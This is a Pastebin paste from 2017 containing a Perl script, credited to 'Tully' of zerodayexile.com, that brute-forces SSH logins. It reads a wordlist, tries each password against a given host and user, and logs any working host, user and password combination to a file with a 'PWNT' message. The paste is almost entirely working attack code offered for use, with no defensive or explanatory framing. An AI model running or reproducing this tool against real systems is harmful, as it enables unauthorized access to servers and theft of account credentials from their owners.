Advertisement
Guest User

Untitled

a guest
May 22nd, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.48 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Net::SSH::Expect;
  3.  
  4. ################################
  5. #### Created by Tully ####
  6. #### zerodayexile.com ####
  7. ################################
  8.  
  9.  
  10. if ($#ARGV != 3)
  11. {
  12. print "\n ========================================== \n";
  13. print " == ================= =============== \n";
  14. print " = ==== ================ =============== \n";
  15. print " = ==== ================ =============== \n";
  16. print " == ======= = === === ===== == = == \n";
  17. print " ==== ===== = == = == ======= = \n";
  18. print " ====== ==== === == = == == = = \n";
  19. print " = ==== ===== ===== == = == == = = \n";
  20. print " = ==== == = == = == = == == = = \n";
  21. print " == ==== ==== === === == = = \n";
  22. print " ========================================== \n";
  23.  
  24. print " \#\#\#\#\# USAGE \#\#\#\#\#\n";
  25. print "\nperl sygbin.pl root wordlist.txt 10.0.0.1 22\n\n";
  26. }
  27. else
  28. {
  29.  
  30. open(WLIST, $ARGV[1]) || die "cant open file $ARGV[1]";
  31. @wordlist=<WLIST>;
  32. close(WLIST);
  33. $host = $ARGV[2]; chomp($host);
  34. $port = $ARGV[3]; chomp($port);
  35. my $ssh = Net::SSH::Expect-> new(
  36. host => $host,
  37. port => $port,
  38. password => '',
  39. user => $ARGV[0],
  40. raw_pty => 1
  41. );
  42. $ssh->run_ssh() or die "SSH could not start: $!";
  43. $ssh->waitfor('(yes/no)\s*\z', 3) or print "No RSA auth needed\n";
  44. $ssh->send("yes");
  45. $ssh->close();
  46.  
  47.  
  48. foreach(@wordlist)
  49. {
  50.  
  51. $pass = $_; chomp ($pass);
  52. print "Trying $pass\n";
  53. my $ssh = Net::SSH::Expect-> new(
  54. host => $ARGV[2],
  55. password => $pass,
  56. user => $ARGV[0],
  57. raw_pty => 1
  58. );
  59. $ssh->run_ssh() or die "SSH could not start: $!";
  60. $login = $ssh->login();
  61. if($login =~ /\#/)
  62. {
  63. $who = $ssh->exec("whoami");
  64. if ($who =~ /$ARGV[0]/ig)
  65. {
  66. print "LOGGED IN - PWNT!\n";
  67. open (LOG, ">>ssh_log.txt");
  68. print LOG "$host $ARGV[0] $pass\n";
  69. close LOG;
  70. last;
  71. }
  72. }
  73. }
  74.  
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement